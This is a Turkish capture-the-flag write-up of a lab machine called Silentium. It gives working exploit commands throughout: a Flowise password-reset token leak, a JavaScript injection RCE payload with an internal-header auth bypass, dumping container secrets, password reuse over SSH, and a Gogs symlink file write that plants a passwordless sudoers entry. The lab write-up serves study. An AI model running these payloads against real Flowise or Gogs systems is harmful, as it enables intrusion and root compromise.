Silentium'u bitirdik. Ama nasıl bitirdik, orası asıl ilginç. Bu makine beni bir saatten fazla döndürdü, çuvallattı, tuzağa çekti. Geri dönüp bakınca "ya bu kadar basitti ki" diyorum; ama o anda öyle görünmüyordu. O yüzden hem çözüm zincirini hem de nerelerde bata çıka geçtiğimi yazıyorum. Asıl ders bence orada.
Keşif: "Tek Port Bile Yeter"
$ nmap -Pn -sV -sC -T4 10.129.62.9
22/tcp open ssh OpenSSH
80/tcp open http nginx
İki port: SSH ve web. SSH'a kör brute-force zaman kaybı, önce web'e bakıyorum. Web sitesi silentium.htb domain'i istiyor. /etc/hosts'a ekleyip açıyorum. Sade bir kurumsal sayfa, dikkat çekici bir şey yok.
Bir domain tek başına sadece bir site sunmak zorunda değil; alt domain olabilir. Bu işin önemli kuralı: bir domain bulunca "başka neler var" diye sormak lazım.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -H "Host: FUZZ.silentium.htb" -u http://10.129.62.9/ -fw 10 staging.silentium.htb
Tek hit ama yeterli. Açıyorum: Flowise, AI workflow platformu, sürüm 3.0.5. Login sayfası karşılıyor.
Flowise: Şifre Sıfırlama Oyunu
Sürümü görünce önce CVE araştırması. İki ilginç zafiyet çıkıyor:
- CVE-2025-58434:
forgot-passwordendpointi kimlik doğrulaması yapmıyor, token leak. - CVE-2025-59528: JavaScript enjeksiyonu ile RCE.
İlkinden başlıyorum. Fikir: sistemde kayıtlı bir kullanıcı için şifre sıfırlama isteği gönderiyorum. Token normalde e-postayla gönderilir. Ama makinede bir Mailhog servisi var, bu gelen tüm e-postaları yakalayan bir test aracı. Yani token bana değil, Mailhog'a düşüyor; ben de Mailhog'un API'sinden alıyorum.
# sifre sifirlama istegi $ curl -X POST http://staging.silentium.htb/api/v1/forgot-password \ -H "Content-Type: application/json" \ -d '{"user": {"email": "ben@silentium.htb"}}' # Mailhog API'sinden token oku (port 8025, tunnel uzerinden) $ curl http://127.0.0.1:18025/api/v2/messages
Token elimde. Yeni şifre set ediyorum:
$ curl -X POST http://staging.silentium.htb/api/v1/reset-password \
-H "Content-Type: application/json" \
-d '{"user": {"email": "ben@silentium.htb",
"tempToken": "TOKEN",
"password": "Pwned123!"}}'
/api/v1/login sanıyordum, doğrusu Flowise 3.0.5'te /api/v1/auth/login ve format {"email":"...","password":"..."}, username değil email. Bunu JS bundle'ını parse ederek buldum.
Giriş yapıyorum. JWT cookie elimde, Flowise dashboard'unda gibiyim.
RCE: "Root Olarak Çalışıyor musun?"
CVE-2025-59528 şöyle çalışıyor: Flowise'ın Custom MCP Tool node'u, yükleme metodlarını çağırırken sunucu tarafında JavaScript çalıştırıyor. Üstüne x-request-from: internal header'ı kimlik doğrulama katmanını atlıyor. İkisi birleşince keyfi kod çalıştırma.
$ curl -X POST \
http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-b "token=JWT_BURAYA" \
-d '{
"nodeData": {
"inputs": {
"javascriptFunction": "{x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"KOMUT\",()=>{});return 1;}())}"
}
},
"nodeType": "customMCP"
}'
Komut çalışıyor. Ama Flowise Docker container içinde; dışarıya direkt bağlantı kuramıyorum. Yani revshell almak için ekstra zıplama lazım. Çözüm: container'ın ortam değişkenlerini okumak. Container'lar konfigürasyonu env variable olarak taşır. env komutunu çalıştırıyorum, çıktıyı Flowise'ın variables API'sine yazıyorum (arka planda SQLite var), oradan okuyorum.
SMTP_PASSWORD=r04D!!_R4ge FLOWISE_PASSWORD=F1l3_d0ck3r
Container içinde çırılçıplak duran iki şifre. Şimdi bunların biri host'ta da işe yarar mı, ona bakacağız.
SSH: "İnsanlar Şifrelerini Tekrar Kullanıyor"
SMTP şifresi r04D!!_R4ge. Bu Flowise container'ının kendi içindeki bir şifre. Ama host üzerinde ben diye bir kullanıcı var (variables içinde ipucu kıvılcımıydı). Acaba?
$ ssh ben@10.129.62.9
ben@10.129.62.9's password: r04D!!_R4ge
ben@silentium:~$ cat ~/user.txt
Girdi. Çünkü aynı şifre SSH için de kullanılmış. Her CTF'de, her pentest'te aynı senaryo: insanlar şifrelerini tekrar kullanır.
Çıkmaz Sokaklar: Uzun Yolun Kısa Hikayesi
İşte burada uzun bir yolculuk başladı. Sana önce yanlış gittiğim yolları, sonra doğrusunu anlatacağım. Çünkü gerçek pentest'lerde de saatlerce yanlış kapı çalmak işin yarısı.
İlk keşif: iki ilginç şey
$ find /usr/bin -writable 2>/dev/null /usr/bin/bash # dunya yazilabilir $ systemctl status gogs Active: running, User=root # root olarak calisiyor
/usr/bin/bash herkes tarafından yazılabilir. GOGS (Git servisi) root olarak çalışıyor. Bu iki bilgi kafamda birleşti: "GOGS hook'ları bash çalıştırır, bash'i değiştirirsem root kodu çalışır." Ve burada saatler kaybetmeye başladım.
Yanlış yol #1: GOGS'a giriş takıntısı
GOGS'a giriş yapmak için ben kullanıcısının şifresini bilmem gerekiyordu. Flowise API'de bir değişkende "FOUND: ben:staging -> 000" yazıyordu; bunu yanlış yorumlayıp GOGS şifresinin 000 olduğunu zannettim. Değildi. Onlarca varyasyon denedim, captcha çözmeye çalıştım, hiçbiri tutmadı. Sonunda hacker666 adında bir hesap açtım (captcha'yı OCR ile çözmeye çalışarak yaklaşık 47 denemede). Hesap açıldı, ama bu hesabın root için bir hükmü olmadığını sonra göreceğim.
Yanlış yol #2: Bash'i değiştirme felaketi
GOGS hook'ları #!/usr/bin/env bash ile başlıyor. GOGS root çalıştığı için hook da root çalışır. Yani bash'i kötü amaçlı bir script'le değiştirirsem, hook tetiklendiğinde root olarak çalışır. Plan kâğıt üstünde güzel. Python ile /usr/bin/bash'e şunu yazdım:
#!/bin/sh if [ "\$(id -u)" = "0" ]; then # bu kosul hep FALSE chmod 4755 /tmp/suid_bash cat /root/root.txt > /tmp/root_flag.txt fi exec /tmp/bash_original "$@"
Git push yaptım, hook tetiklendi, push başarılı döndü. Ama /tmp/root_flag.txt yok. Neden? Python'da b'\$(id -u)' yazdığımda, \$ kaçış dizisi olmadığı için \$(id -u) diye literal backslash-dolar yazılıyor. Shell'de "\$(id -u)" = "$(id -u)" string'i, yani komut çalıştırma değil, sadece düz metin karşılaştırma. Koşul her zaman false döndü. Üstüne bir de /usr/bin/bash'i bir script'e döndürdüğüm için SSH login "Exec format error" vermeye başladı. Kendimi kilitledim.
Yanlış yol #3: Flowise RCE labirenti
SSH çalışmıyor, bash bozuk. Panikleyip Flowise RCE üzerinden devam etmeye çalıştım. Ama Flowise 3.0.5'te listActions metodu subprocess başlatmıyor; sadece "No Available Actions" dönüyor. Saatlerce farklı kombinasyonlar denedim. Agentflow oluşturdum, çalıştırmaya çalıştım, "Cannot read properties of undefined" hatası. Çıkmaz sokak.
Asıl ders şuydu: bash bozulunca durup geri çekilmek, "asıl hangi CVE root verir" diye sormak yerine, mevcut zafiyet üstüne saatler döktüm. Sonra geri döndüm.
Doğru Yol: CVE-2025-8110 (GOGS Symlink)
Geç fark ettim. GOGS 0.13.3'te çok zarif bir zafiyet var: bir git reposuna symlink push edip, sonra o symlink'in hedefine API üzerinden istediğin içeriği yazdırabiliyorsun. GOGS root çalıştığı için, sistem genelinde herhangi bir dosyaya root olarak yazma. Yani gerçek "arbitrary file write as root."
$ python3 >>> import os, base64, json, urllib.request # 1. yerel repoda symlink olustur >>> os.symlink('/etc/sudoers.d/ben', 'exploit_link') # git add exploit_link && git commit && git push # 2. symlink'in SHA'sini al # GET /api/v1/repos/owner/repo/contents/exploit_link # 3. API ile hedef dosyaya yaz >>> content = base64.b64encode(b"ben ALL=(ALL) NOPASSWD: ALL\n").decode() # PUT /api/v1/repos/owner/repo/contents/exploit_link # body: {"content": content, "sha": sha, "message": "exploit"}
GOGS bu PUT isteğini aldığında, symlink'in işaret ettiği /etc/sudoers.d/ben dosyasına root olarak yazıyor. Artık ben şifresiz sudo yapabiliyor.
Aynı yöntemle bozduğum bash'i de düzelttim:
# symlink -> /usr/bin/bash # icerik: #!/bin/sh\nexec /tmp/bash_original "$@"\n
SSH tekrar çalıştı. Son adım:
$ ssh ben@10.129.62.9
ben@silentium:~$ sudo cat /root/root.txt
Saldırı Zinciri
Nmap -> staging.silentium.htb (Flowise 3.0.5) -> CVE-2025-58434 forgot-password + Mailhog -> JWT -> CVE-2025-59528 JS RCE -> container env -> SSH ben:r04D!!_R4ge -> user flag -> GOGS root (CVE-2025-8110) -> Symlink repo push + API write -> /etc/sudoers.d/ben -> sudo cat /root/root.txt -> root flag
Çıkardığım Dersler
1. "staging." subdomain'i her zaman ilgi çeker. Production'da olmayan şeyler orada olur: debug açık, auth zayıf, eski versiyon. Bir domain bulduğunda subdomain fuzz'lamak ucuz ve verimli.
2. Python string kaçışlarına dikkat. b'\$' ile b'$()' aynı şey değil. Test etmeden "çalışır" demek pahalıya patlıyor.
3. Döngüye girince dur ve yeniden başla. Ben bash'i bozunca panikledim ve her şeyi Flowise üzerinden çözmeye çalıştım. Adım adım geri çekilip "asıl CVE ne" diye sorsaydım saatler kazanırdım. Pentest'in en zor anı bu: vazgeçmek değil, yanlış stratejiyi bırakmak.
4. CVE-2025-8110 temiz bir zafiyet. Symlink + API write = arbitrary file write as root. Basit, etkili, yaratıcı. GOGS gibi root çalışan eski git servislerinde bu desen tekrarlanır, akılda kalsın.
5. Aynı şifre aynı anda birden fazla serviste. SMTP şifresi = SSH şifresi. Bu her zaman denemeye değer; insanlar şifre yönetimine inanmıyor.
Zaman ayırıp okuduğun için teşekkürler, hatalarımı paylaşırsan seve seve ders çıkarırım :)
// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.13